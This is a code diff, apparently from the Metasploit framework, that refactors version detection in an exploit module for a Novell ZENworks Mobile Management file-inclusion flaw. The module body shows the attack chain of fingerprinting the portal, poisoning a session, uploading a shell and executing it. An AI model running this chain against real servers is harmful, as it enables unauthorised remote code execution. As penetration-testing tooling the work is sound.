Take apart the version detection code

Author: wchen-r7

modules/exploits/windows/http/novell_mdm_lfi.rb

@@ -52,6 +52,21 @@ def peer
 		"#{rhost}:#{rport}"
 	end
 
+	def get_version
+		version = nil
+
+		res = send_request_raw({
+			'method' => 'GET',
+			'uri' => target_uri.path
+		})
+
+		if (res and res.code == 200 and res.body.to_s.match(/ZENworks Mobile Management User Self-Administration Portal/) != nil)
+			version = res.body.to_s.match(/<p id="version">Version (.*)<\/p>/)[1]
+		end
+
+		return version
+	end
+
 	def setup_session()
 		sess = Rex::Text.rand_text_alpha(8)
 		cmd = Rex::Text.rand_text_alpha(8)
@@ -104,28 +119,22 @@ def exec_shell(session_id,cmd_var,fname)
 
 
 	def exploit()
-		uri = normalize_uri(target_uri.path)
 		begin
-			res = send_request_raw({
-				'method' => 'GET',
-				'uri' => uri
-			})
-
-			if (res and res.code == 200 and res.body.to_s.match(/ZENworks Mobile Management User Self-Administration Portal/) != nil)
-				print_status("#{peer} - Found Zenworks MDM, Checking application version")
-				ver = res.body.to_s.match(/<p id="version">Version (.*)<\/p>/)[1]
-				print_status("#{peer} - Found Version #{ver}")
-				print_status("#{peer} - Setting up poisoned session")
-				session_id,cmd = setup_session()
-				print_status("#{peer} - Uploading payload")
-				fname = upload_shell(session_id,cmd)
-				print_status("#{peer} - Executing payload")
-				exec_shell(session_id,cmd,fname)
-			else
-				print_error("#{peer} - Zenworks MDM does not appear to be running at #{rhost}")
-				return :abort
+			print_status("#{peer} - Checking application version...")
+			v = get_version
+			if v.nil?
+				print_error("#{peer} - Unable to detect version, abort!")
+				return
 			end
 
+			print_good("#{peer} - Found Version #{v}")
+			print_status("#{peer} - Setting up poisoned session")
+			session_id,cmd = setup_session()
+			print_status("#{peer} - Uploading payload")
+			fname = upload_shell(session_id,cmd)
+			print_status("#{peer} - Executing payload")
+			exec_shell(session_id,cmd,fname)
+
 		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
 		rescue ::Timeout::Error, ::Errno::EPIPE
 		rescue ::OpenSSL::SSL::SSLError => e